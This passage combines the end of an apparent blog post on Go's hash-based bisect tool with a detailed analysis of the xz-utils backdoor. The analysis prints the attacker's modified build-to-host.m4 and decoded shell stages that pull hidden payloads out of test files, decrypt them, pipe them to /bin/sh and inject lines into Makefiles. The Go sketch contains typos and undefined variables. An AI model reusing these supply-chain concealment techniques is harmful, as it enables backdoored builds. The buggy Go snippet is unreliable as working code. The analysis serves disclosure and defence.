func buggy(suffix string, extra []string) (fail bool, n int)

Now we can translate the easy/hard algorithm more or less directly:

// BisectReduce returns a locally minimal list of hash suffixes,
// each of which uniquely identifies a single location hash,
// such that buggy(list) is true.
func BisectReduce() []string {
    if fail, _ := buggy("none", nil); fail {
        return nil
    }
    return bisect("", []string{})
}

// bisect returns a locally minimal list of hash suffixes,
// each of which uniquely identifies a single location hash,
// and all of which end in suffix,
// such that buggy(result+forced) = true.
//
// Precondition: buggy(suffix, forced) = true, _.
// and buggy("none", forced) = false, 0.
//
// Postcondition: buggy("none", result+forced) = true, 0;
// each suffix in result matches a single location hash;
// and buggy("none", x+forced) = false for any x ⊂ result.
// Also, if there are any valid single-element results,
// then bisect returns one of them.
func bisect(suffix string, forced []string) []string {
    if _, n := buggy(suffix, forced); n == 1 {
        // Suffix identifies a single location.
        return []string{suffix}
    }

    // If either of 0suffix or 1suffix is sufficient
    // by itself, focus there.
    if fail, _ := buggy("0"+suffix, forced); fail {
        return bisect("0"+suffix, forced)
    }
    if fail, _ := buggy("1"+suffix, forced); fail {
        return bisect("1"+suffix, forced)
    }

    // Matches from both extensions are needed.
    // Otherwise need parts of both halves.
    leftReduced := bisect("0"+suffix,
        slices.Concat([]string{"1"+suffix"}, forced))
    rightReduced := bisect("1"+suffix,
        slices.Concat(leftReduced, forced))
    return slices.Concat(leftReduce, rightReduce)
}

Careful readers might note that in the easy cases, the recursive call to bisect starts by repeating the same call to buggy that the caller did, this time to count the number of matches for the suffix in question. An efficient implementation could pass the result of that run to the recursive call, avoiding redundant trials.

In this version, bisect does not guarantee to cut the search space in half at each level of the recursion. Instead, the randomness of the hashes means that it cuts the search space roughly in half on average. That’s still enough for logarithmic behavior when there are just a few culprits. The algorithm would also work correctly if the suffixes were applied to match a consistent sequential numbering instead of hashes; the only problem is obtaining the numbering.

The hash suffixes are about as short as the function number ranges and easily passed on the command line. For example, a hypothetical Java compiler could use -XX:CIAllowHash=000,10,111.

Use Case: Function Selection

The earliest use of hash-based bisect-reduce in Go was for selecting functions, as in the example we’ve been considering. In 2015, Keith Randall was working on a new SSA backend for the Go compiler. The old and new backends coexisted, and the compiler could use either for any given function in the program being compiled. Keith introduced an environment variable GOSSAHASH that specified the last few binary digits of the hash of function names that should use the new backend: GOSSAHASH=0110 meant “compile only those functions whose names hash to a value with last four bits 0110.” When a test was failing with the new backend, a person debugging the test case tried GOSSAHASH=0 and GOSSAHASH=1 and then used binary search to progressively refine the pattern, narrowing the failure down until only a single function was being compiled with the new backend. This was invaluable for approaching failures in large real-world tests (tests for libraries or production code, not for the compiler) that we had not written and did not understand. The approach assumed that the failure could always be reduced to a single culprit function.

It is fascinating that HotSpot, Cinder, and Go all hit upon the idea of binary search to find miscompiled functions in a compiler, and yet all three used different selection mechanisms (counters, function lists, and hashes).

Use Case: SSA Rewrite Selection

In late 2016, David Chase was debugging a new optimizer rewrite rule that should have been correct but was causing mysterious test failures. He reused the same technique but at finer granularity: the bit pattern now controlled which functions that rewrite rule could be used in.

David also wrote the initial version of a tool, gossahash, for taking on the job of binary search. Although gossahash only looked for a single failure, but it was remarkably helpful. It served for many years and eventually became bisect.

Use Case: Fused Multiply-Add

Having a tool available, instead of needing to bisect manually, made us keep finding problems we could solve. In 2022, another presented itself. We had updated the Go compiler to use floating-point fused multiply-add (FMA) instructions on a new architecture, and some tests were failing. By making the FMA rewrite conditional on a suffix of a hash that included the current file name and line number, we could apply bisect-reduce to identify the specific line in the source code where FMA instruction broke the test.

For example, this bisection finds that b.go:7 is the culprit line:

FMA is not something most programmers encounter. If they do get an FMA-induced test failure, having a tool that automatically identifies the exact culprit line is invaluable.

Use Case: Language Changes

The next problem that presented itself was a language change. Go, like C# and JavaScript, learned the hard way that loop-scoped loop variables don’t mix well with closures and concurrency. Like those languages, Go recently changed to iteration-scoped loop variables, correcting many buggy programs in the process.

Unfortunately, sometimes tests unintentionally check for buggy behavior. Deploying the loop change in a large code base, we confronted truly mysterious failures in complex, unfamiliar code. Conditioning the loop change on a suffix of a hash of the source file name and line number enabled bisect-reduce to pinpoint the specific loop or loops that triggered the test failures. We even found a few cases where changing any one loop did not cause a failure, but changing a specific pair of loops did. The generality of finding multiple culprits is necessary in practice.

The loop change would have been far more difficult without automated diagnosis.

Use Case: Library Changes

Bisect-reduce also applies to library changes: we can hash the caller, or more precisely the call stack, and then choose between the old and new implementation based on a hash suffix.

For example, suppose you add a new sort implementation and a large program fails. Assuming the sort is correct, the problem is almost certainly that the new sort and the old sort disagree about the final order of some values that compare equal. Or maybe the sort is buggy. Either way, the large program probably calls sort in many different places. Running bisect-reduce over hashes of the call stacks will identify the exact call stack where using the new sort causes a failure. This is what was happening in the example at the start of the post, with a new timer implementation instead of a new sort.

Call stacks are a use case that only works with hashing, not with sequential numbering. For the examples up to this point, a setup pass could number all the functions in a program or number all the source lines presented to the compiler, and then bisect-reduce could apply to binary suffixes of the sequence number. But there is no dense sequential numbering of all the possible call stacks a program will encounter. On the other hand, hashing a list of program counters is trivial.

We realized that bisect-reduce would apply to library changes around the time we were introducing the GODEBUG mechanism, which provides a framework for tracking and toggling these kinds of compatible-but-breaking changes. We arranged for that framework to provide bisect support for all GODEBUG settings automatically.

For Go 1.23, we rewrote the time.Timer implementation and changed its semantics slightly, to remove some races in existing APIs and also enable earlier garbage collection in some common cases. One effect of the new implementation is that very short timers trigger more reliably. Before, a 0ns or 1ns timer (which are often used in tests) could take many microseconds to trigger. Now, they trigger on time. But of course, buggy code (mostly in tests) exists that fails when the timers start triggering as early as they should. We debugged a dozen or so of these inside Google’s source tree—all of them complex and unfamiliar—and bisect made the process painless and maybe even fun.

For one failing test case, I made a mistake. The test looked simple enough to eyeball, so I spent half an hour puzzling through how the only timer in the code under test, a hard-coded one minute timer, could possibly be affected by the new implementation. Eventually I gave up and ran bisect. The stack trace showed immediately that there was a testing middleware layer that was rewriting the one-minute timeout into a 1ns timeout to speed the test. Tools see what people cannot.

Interesting Lessons Learned

One interesting thing we learned while working on bisect is that it is important to try to detect flaky tests. Early in debugging loop change failures, bisect pointed at a completely correct, trivial loop in a cryptography package. At first, we were very scared: if that loop was changing behavior, something would have to be very wrong in the compiler. We realized the problem was flaky tests. A test that fails randomly causes bisect to make a random walk over the source code, eventually pointing a finger at entirely innocent code. After that, we added a -count=N flag to bisect that causes it to run every trial N times and bail out entirely if they disagree. We set the default to -count=2 so that bisect always does basic flakiness checking.

Flaky tests remain an area that needs more work. If the problem being debugged is that a test went from passing reliably to failing half the time, running go test -count=5 increases the chance of failure by running the test five times. Equivalently, it can help to use a tiny shell script like

% cat bin/allpass
#!/bin/sh
n=$1
shift
for i in $(seq $n); do
    "$@" || exit 1
done

Then bisect can be invoked as:

% bisect -godebug=timer allpass 5 ./flakytest

Now bisect only sees ./flakytest passing five times in a row as a successful run.

Similarly, if a test goes from passing unreliably to failing all the time, an anypass variant works instead:

% cat bin/anypass
#!/bin/sh
n=$1
shift
for i in $(seq $n); do
    "$@" && exit 0
done
exit 1

The timeout command is also useful if the change has made a test run forever instead of failing.

The tool-based approach to handling flakiness works decently but does not seem like a complete solution. A more principled approach inside bisect would be better. We are still working out what that would be.

Another interesting thing we learned is that when bisecting over run-time changes, hash decisions are made so frequently that it is too expensive to print the full stack trace of every decision made at every stage of the bisect-reduce, (The first run uses an empty suffix that matches every hash!) Instead, bisect hash patterns default to a “quiet” mode where each decision prints only the hash bits, since that’s all bisect needs to guide the search and narrow down the relevant stacks. Once bisect has identified a minimal set of relevant stacks, it runs the test once more with the hash pattern in “verbose” mode. That causes the bisect library to print both the hash bits and the corresponding stack traces, and bisect displays those stack traces in its report.

Try Bisect

The bisect tool can be downloaded and used today:

% go install golang.org/x/tools/cmd/bisect@latest

If you are debugging a loop variable problem in Go 1.22, you can use a command like

% bisect -compile=loopvar go test

If you are debugging a timer problem in Go 1.23, you can use:

% bisect -godebug asynctimerchan=1 go test

The -compile and -godebug flags are conveniences. The general form of the command is

% bisect [KEY=value...] cmd [args...]

where the leading KEY=value arguments set environment variables before invoking the command with the remaining arguments. Bisect expects to find the literal string PATTERN somewhere on its command line, and it replaces that string with a hash pattern each time it repeats the command.

You can use bisect to debug problems in your own compilers or libraries by having them accept a hash pattern either in the environment or on the command line and then print specially formatted lines for bisect on standard output or standard error. The easiest way to do this is to use the bisect package. That package is not available for direct import yet (there is a pending proposal to add it to the Go standard library), but the package is only a single file with no imports, so it is easily copied into new projects or even translated to other languages. The package documentation also documents the hash pattern syntax and required output format.

If you work on compilers or libraries and ever need to debug why a seemingly correct change you made broke a complex program, give bisect a try. It never stops feeling like magic.

The xz attack shell script

2024-04-02T04:00:00-04:00

Introduction

Andres Freund published the existence of the xz attack on 2024-03-29 to the public oss-security@openwall mailing list. The day before, he alerted Debian security and the (private) distros@openwall list. In his mail, he says that he dug into this after “observing a few odd symptoms around liblzma (part of the xz package) on Debian sid installations over the last weeks (logins with ssh taking a lot of CPU, valgrind errors).”

At a high level, the attack is split in two pieces: a shell script and an object file. There is an injection of shell code during configure, which injects the shell code into make. The shell code during make adds the object file to the build. This post examines the shell script. (See also my timeline post.)

The nefarious object file would have looked suspicious checked into the repository as evil.o, so instead both the nefarious shell code and object file are embedded, compressed and encrypted, in some binary files that were added as “test inputs” for some new tests. The test file directory already existed from long before Jia Tan arrived, and the README explained “This directory contains bunch of files to test handling of .xz, .lzma (LZMA_Alone), and .lz (lzip) files in decoder implementations. Many of the files have been created by hand with a hex editor, thus there is no better “source code” than the files themselves.” This is a fact of life for parsing libraries like liblzma. The attacker looked like they were just adding a few new test files.

Unfortunately the nefarious object file turned out to have a bug that caused problems with Valgrind, so the test files needed to be updated to add the fix. That commit explained “The original files were generated with random local to my machine. To better reproduce these files in the future, a constant seed was used to recreate these files.” The attackers realized at this point that they needed a better update mechanism, so the new nefarious script contains an extension mechanism that lets it look for updated scripts in new test files, which wouldn’t draw as much attention as rewriting existing ones.

The effect of the scripts is to arrange for the nefarious object file’s _get_cpuid function to be called as part of a GNU indirect function (ifunc) resolver. In general these resolvers can be called lazily at any time during program execution, but for security reasons it has become popular to call all of them during dynamic linking (very early in program startup) and then map the global offset table (GOT) and procedure linkage table (PLT) read-only, to keep buffer overflows and the like from being able to edit it. But a nefarious ifunc resolver would run early enough to be able to edit those tables, and that’s exactly what the backdoor introduced. The resolver then looked through the tables for RSA_public_decrypt and replaced it with a nefarious version that runs attacker code when the right SSH certificate is presented.

Configure

Again, this post looks at the script side of the attack. Like most complex Unix software, xz-utils uses GNU autoconf to decide how to build itself on a particular system. In ordinary operation, autoconf reads a configure.ac file and produces a configure script, perhaps with supporting m4 files brought in to provide “libraries” to the script. Usually, the configure script and its support libraries are only added to the tarball distributions, not the source repository. The xz distribution works this way too.

The attack kicks off with the attacker adding an unexpected support library, m4/build-to-host.m4 to the xz-5.6.0 and xz-5.6.1 tarball distributions. Compared to the standard build-to-host.m4, the attacker has made the following changes:

diff --git a/build-to-host.m4 b/build-to-host.m4
index ad22a0a..d5ec315 100644
--- a/build-to-host.m4
+++ b/build-to-host.m4
@@ -1,5 +1,5 @@
-# build-to-host.m4 serial 3
-dnl Copyright (C) 2023 Free Software Foundation, Inc.
+# build-to-host.m4 serial 30
+dnl Copyright (C) 2023-2024 Free Software Foundation, Inc.
 dnl This file is free software; the Free Software Foundation
 dnl gives unlimited permission to copy and/or distribute it,
 dnl with or without modifications, as long as this notice is preserved.
@@ -37,6 +37,7 @@ AC_DEFUN([gl_BUILD_TO_HOST],


   dnl Define somedir_c.
   gl_final_[$1]="$[$1]"
+  gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`
   dnl Translate it from build syntax to host syntax.
   case "$build_os" in
     cygwin*)
@@ -58,14 +59,40 @@ AC_DEFUN([gl_BUILD_TO_HOST],
   if test "$[$1]_c_make" = '\"'"${gl_final_[$1]}"'\"'; then
     [$1]_c_make='\"$([$1])\"'
   fi
+  if test "x$gl_am_configmake" != "x"; then
+    gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
+  else
+    gl_[$1]_config=''
+  fi
+  _LT_TAGDECL([], [gl_path_map], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_prefix], [2])dnl
+  _LT_TAGDECL([], [gl_am_configmake], [2])dnl
+  _LT_TAGDECL([], [[$1]_c_make], [2])dnl
+  _LT_TAGDECL([], [gl_[$1]_config], [2])dnl
   AC_SUBST([$1_c_make])
+
+  dnl If the host conversion code has been placed in $gl_config_gt,
+  dnl instead of duplicating it all over again into config.status,
+  dnl then we will have config.status run $gl_config_gt later, so it
+  dnl needs to know what name is stored there:
+  AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])
 ])


 dnl Some initializations for gl_BUILD_TO_HOST.
 AC_DEFUN([gl_BUILD_TO_HOST_INIT],
 [
+  dnl Search for Automake-defined pkg* macros, in the order
+  dnl listed in the Automake 1.10a+ documentation.
+  gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
+  if test -n "$gl_am_configmake"; then
+    HAVE_PKG_CONFIGMAKE=1
+  else
+    HAVE_PKG_CONFIGMAKE=0
+  fi
+
   gl_sed_double_backslashes='s/\\/\\\\/g'
   gl_sed_escape_doublequotes='s/"/\\"/g'
+  gl_path_map='tr "\t \-_" " \t_\-"'
 changequote(,)dnl
   gl_sed_escape_for_make_1="s,\\([ \"&'();<>\\\\\`|]\\),\\\\\\1,g"
 changequote([,])dnl

All in all, this is a fairly plausible set of diffs, in case anyone thought to check. It bumps the version number, updates the copyright year to look current, and makes a handful of inscrutable changes that don’t look terribly out of place.

Looking closer, something is amiss. Starting near the bottom,

gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2>/dev/null`
if test -n "$gl_am_configmake"; then
  HAVE_PKG_CONFIGMAKE=1
else
  HAVE_PKG_CONFIGMAKE=0
fi

Let’s see which files in the distribution match the pattern (simplifying the grep command):

% egrep -Rn '####[[:alnum:]][[:alnum:]][[:alnum:]][[:alnum:]][[:alnum:]]####$'
Binary file ./tests/files/bad-3-corrupt_lzma2.xz matches
%

That’s surprising! So this script sets gl_am_configmake=./tests/files/bad-3-corrupt_lzma2.xz and HAVE_PKG_CONFIGMAKE=1. The gl_path_map setting is a tr(1) command that swaps tabs and spaces and swaps underscores and dashes.

Now reading the top of the script,

gl_[$1]_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"`

extracts the final dot-separated element of that filename, leaving xz. That is, it’s the file name suffix, not a prefix, and it is the name of the compression command that is likely already installed on any build machine.

The next section is:

if test "x$gl_am_configmake" != "x"; then
  gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
else
  gl_[$1]_config=''
fi

We know that gl_am_configmake=./tests/files/bad-3-corrupt_lzma2.xz, so this sets the gl_[$1]_config variable to the string

sed "r\n" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null

At first glance, especially in the original quoted form, the sed command looks like it has something to do with line endings, but in fact r\n is the sed “read from file \n” command. Since the file \n does not exist, the command does nothing at all, and then since sed has not been invoked with the -n option, sed prints each line of input. So sed "r\n" is just an obfuscated cat command, and remember that $gl_path_map is the tr command from before, and $gl_[$1]_prefix is xz. To the shell, this command is really

cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d

But right now it’s still just a string; it hasn’t been run. That changes with

dnl If the host conversion code has been placed in $gl_config_gt,
dnl instead of duplicating it all over again into config.status,
dnl then we will have config.status run $gl_config_gt later, so it
dnl needs to know what name is stored there:
AC_CONFIG_COMMANDS([build-to-host], [eval $gl_config_gt | $SHELL 2>/dev/null], [gl_config_gt="eval \$gl_[$1]_config"])

The final "eval \$gl_[$1]_config" runs that command. If we run it on the xz 5.6.0 repo, we get:

$ cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +724)";
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|
    eval $i|tail -c +31265|
    tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|
    xz -F raw --lzma1 -dc|/bin/sh
####World####
$

I have inserted some line breaks, here and in later script fragments, to keep the lines from being too long in the web page.

Why the Hello and World? The README text that came with the test file describes it:

bad-3-corrupt_lzma2.xz has three Streams in it. The first and third streams are valid xz Streams. The middle Stream has a correct Stream Header, Block Header, Index and Stream Footer. Only the LZMA2 data is corrupt. This file should decompress if --single-stream is used.

The first and third streams are the Hello and World, and the middle stream has been corrupted by swapping the byte values unswapped by the tr command.

Recalling that xz 5.6.1 shipped with different “test” files, we can also try xz 5.6.1:

$ cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
####Hello####
#�U��$�
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
[ ! $(uname) = "Linux" ] && exit 0
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +2048 &&
    (head -c +1024 >/dev/null) && head -c +939)";
(xz -dc $srcdir/tests/files/good-large_compressed.lzma|
    eval $i|tail -c +31233|
    tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|
    xz -F raw --lzma1 -dc|/bin/sh
####World####
$

The first difference is that the script makes sure (very sure!) to exit if not being run on Linux. The second difference is that the long “export i” line deviates in the final head command offset (724 vs 939) and then the tail offset and the tr argument. Let’s break those down.

The head command prints a prefix of its input. Let’s look at the start:

(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 && ...

This discards the first kilobyte of standard input, prints the next two kilobytes, discards the next kilobyte, and prints the next two kilobytes. And so on. The whole command for 5.6.1 is:

(head -c +1024 >/dev/null) && head -c +2048 &&
(head -c +1024 >/dev/null) && head -c +2048 &&
... 16 times total ...
head -c +939

The shell variable i is set to this long command. Then the script runs:

xz -dc $srcdir/tests/files/good-large_compressed.lzma |
eval $i |
tail -c +31233 |
tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377" |
xz -F raw --lzma1 -dc |
/bin/sh

The first xz command uncompresses another malicious test file. The eval then runs the head pipeline, extracting a total of 16×2048+939 = 33,707 bytes. Then the tail command keeps only the final 31,233 bytes. The tr command applies a simple substitution cipher to the output (so that just in case anyone thought to pull these specific byte ranges out of the file, they wouldn’t recognize it as a valid lzma input!?). The second xz command decodes the translated bytes as a raw lzma stream, and then of course the result is piped through the shell.

Skipping the shell pipe, we can run this, obtaining a very long shell script. I have added commentary in between sections of the output.

$ xz -dc $srcdir/tests/files/good-large_compressed.lzma |
  eval $i |
  tail -c +31233 |
  tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" |
  xz -F raw --lzma1 -dc
P="-fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections"
C="pic_flag=\" $P\""
O="^pic_flag=\" -fPIC -DPIC\"$"
R="is_arch_extension_supported"
x="__get_cpuid("
p="good-large_compressed.lzma"
U="bad-3-corrupt_lzma2.xz"

So far, setting up environment variables.

[ ! $(uname)="Linux" ] && exit 0  # 5.6.1 only

A line that only appears in 5.6.1, exiting when not run on Linux. In general the scripts in 5.6.0 and 5.6.1 are very similar: 5.6.1 has a few additions. We will examine the 5.6.1 script, with the additions marked. This line is an attempted robustness fix with a bug (pointed out by Jakub Wilk): there are no spaces around the =, making the line a no-op.

eval $zrKcVq

The first of many odd eval statements, for variables that do not appear to be set anywhere. One possibility is that these are debug prints: when the attacker is debugging the script, setting, say, zrKcVq=env inserts a debug print during execution. Another possibility is that these are extension points that can be set by some other mechanism, run before this code, in the future.

if test -f config.status; then
eval $zrKcSS
eval `grep ^LD=\'\/ config.status`
eval `grep ^CC=\' config.status`
eval `grep ^GCC=\' config.status`
eval `grep ^srcdir=\' config.status`
eval `grep ^build=\'x86_64 config.status`
eval `grep ^enable_shared=\'yes\' config.status`
eval `grep ^enable_static=\' config.status`
eval `grep ^gl_path_map=\' config.status`

If config.status exists, we read various variables from it into the shell, along with two extension points. Note that we are still inside the config.status check (let’s call it “if #1”) as we continue through the output.

# Entirely new in 5.6.1
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} |
    tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" |
    xz -F raw --lzma2 -dc`
fi
fi
fi
fi

This section is entirely new in 5.6.1. It looks for a single test file to contain the magic texts '~!:_ W' and '|_!{ -', extracts the bytes between them, applies a substitution cipher, decompresses the result, and evaluates the output as a shell script. This appears to be an extension mechanism, so that the next time changes are needed in this script, a new script can be added in a different test file, instead of having to make up reasons to regenerate existing binary test files.

The next chunk continues with script that was present in 5.6.0.

eval $zrKccj
if ! grep -qs '\["HAVE_FUNC_ATTRIBUTE_IFUNC"\]=" 1"' config.status > /dev/null 2>&1;then
exit 0
fi
if ! grep -qs 'define HAVE_FUNC_ATTRIBUTE_IFUNC 1' config.h > /dev/null 2>&1;then
exit 0
fi

Two different checks that GNU indirect function support is enabled. If not, stop the script. The backdoor requires this functionality.

if test "x$enable_shared" != "xyes";then
exit 0
fi

Require shared library support.

if ! (echo "$build" | grep -Eq "^x86_64" > /dev/null 2>&1) && (echo "$build" | grep -Eq "linux-gnu$" > /dev/null 2>&1);then
exit 0
fi

Require an x86-64 Linux system.

if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc64_fast.c > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$R()" $srcdir/src/liblzma/check/crc32_fast.c > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$R" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
exit 0
fi
if ! grep -qs "$x" $srcdir/src/liblzma/check/crc_x86_clmul.h > /dev/null 2>&1; then
exit 0
fi

Require all the crc ifunc code (in case it has been patched out?).

if test "x$GCC" != 'xyes' > /dev/null 2>&1;then
exit 0
fi
if test "x$CC" != 'xgcc' > /dev/null 2>&1;then
exit 0
fi
LDv=$LD" -v"
if ! $LDv 2>&1 | grep -qs 'GNU ld' > /dev/null 2>&1;then
exit 0
fi

Require gcc (not clang, I suppose) and GNU ld.

if ! test -f "$srcdir/tests/files/$p" > /dev/null 2>&1;then
exit 0
fi
if ! test -f "$srcdir/tests/files/$U" > /dev/null 2>&1;then
exit 0
fi

Require the backdoor-containing test files. Of course, if these files didn’t exist, it’s unclear how we obtained this script in the first place, but better safe than sorry, I suppose.

if test -f "$srcdir/debian/rules" || test "x$RPM_ARCH" = "xx86_64";then
eval $zrKcst

Add a bunch of checks when the file debian/rules exists or $RPM_ARCH is set to x86_64. Note that we are now inside two if statements: the config.status check above, and this one (let’s call it “if #2”).

j="^ACLOCAL_M4 = \$(top_srcdir)\/aclocal.m4"
if ! grep -qs "$j" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
z="^am__uninstall_files_from_dir = {"
if ! grep -qs "$z" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
w="^am__install_max ="
if ! grep -qs "$w" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
E=$z
if ! grep -qs "$E" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
Q="^am__vpath_adj_setup ="
if ! grep -qs "$Q" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
M="^am__include = include"
if ! grep -qs "$M" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
L="^all: all-recursive$"
if ! grep -qs "$L" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
m="^LTLIBRARIES = \$(lib_LTLIBRARIES)"
if ! grep -qs "$m" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi
u="AM_V_CCLD = \$(am__v_CCLD_\$(V))"
if ! grep -qs "$u" src/liblzma/Makefile > /dev/null 2>&1;then
exit 0
fi

Check that liblzma/Makefile contains all the lines that will be used as anchor points later for inserting new text into the Makefile.

if ! grep -qs "$O" libtool > /dev/null 2>&1;then
exit 0
fi

$O was set at the very start of the script. This is checking that the libtool file, presumably generated during the build process, configures the compiler for a PIC (position independent code) build.

eval $zrKcTy
b="am__test = $U"

$U was also set at the start of the script: U="bad-3-corrupt_lzma2.xz". Real work is starting!

sed -i "/$j/i$b" src/liblzma/Makefile || true

sed -i runs an in-place modification of the input file, in this case liblzma/Makefile. Specifically, find the ACLOCAL_M4 line we grepped for earlier (/$j/) and insert the am__test setting from $b (i$b).

d=`echo $gl_path_map | sed 's/\\\/\\\\\\\\/g'`
b="am__strip_prefix = $d"
sed -i "/$w/i$b" src/liblzma/Makefile || true

Shell quoting inside a quoted string inside a Makefile really is something special. This is escaping the backslashes in the tr command enough times that it will work to insert them into the Makefile after the am__install_max line ($w).

b="am__dist_setup = \$(am__strip_prefix) | xz -d 2>/dev/null | \$(SHELL)"
sed -i "/$E/i$b" src/liblzma/Makefile || true
b="\$(top_srcdir)/tests/files/\$(am__test)"
s="am__test_dir=$b"
sed -i "/$Q/i$s" src/liblzma/Makefile || true

More added lines. It’s worth stopping for a moment to look at what’s happened so far. The script has added these lines to src/liblzma/Makefile:

am__test = bad-3-corrupt_lzma2.xz
am__strip_prefix = tr "\\t \\-_" " \\t_\\-"
am__dist_setup = $(am_strip_prefix) | xz -d 2>/dev/null | $(SHELL)
am__test_dir = $(top_srcdir)/tests/files/$(am__test)

These look plausible but fall apart under closer examination: for example, am__test_dir is a file, not a directory. The goal here seems to be that after configure has run, the generated Makefile still looks plausibly inscrutable. And the lines have been added in scattered places throughout the Makefile; no one will see them all next to each other like in this display. Back to the script:

h="-Wl,--sort-section=name,-X"
if ! echo "$LDFLAGS" | grep -qs -e "-z,now" -e "-z -Wl,now" > /dev/null 2>&1;then
h=$h",-z,now"
fi
j="liblzma_la_LDFLAGS += $h"
sed -i "/$L/i$j" src/liblzma/Makefile || true

Add liblzma_la_LDFLAGS += -Wl,--sort-section=name,-X to the Makefile. If the LDFLAGS do not already say -z,now or -Wl,now, add -z,now.

The “-Wl,now” forces LD_BIND_NOW behavior, in which the dynamic loader resolves all symbols at program startup time. One reason this is normally done is for security: it makes sure that the global offset table and procedure linkage tables can be marked read-only early in process startup, so that buffer overflows or write-after-free bugs cannot target those tables. However, it also has the effect of running GNU indirect function (ifunc) resolvers at startup during that resolution process, and the backdoor arranges to be called from one of those. This early invocation of the backdoor setup lets it run while the tables are still writable, allowing the backdoor to replace the entry for RSA_public_decrypt with its own version. But we are getting ahead of ourselves. Back to the script:

sed -i "s/$O/$C/g" libtool || true

We checked earlier that the libtool file said pic_flag=" -fPIC -DPIC". The sed command changes it to read pic_flag=" -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections".

It is not clear why these additional flags are important, but in general they disable linker optimizations that could plausibly get in the way of subterfuge.

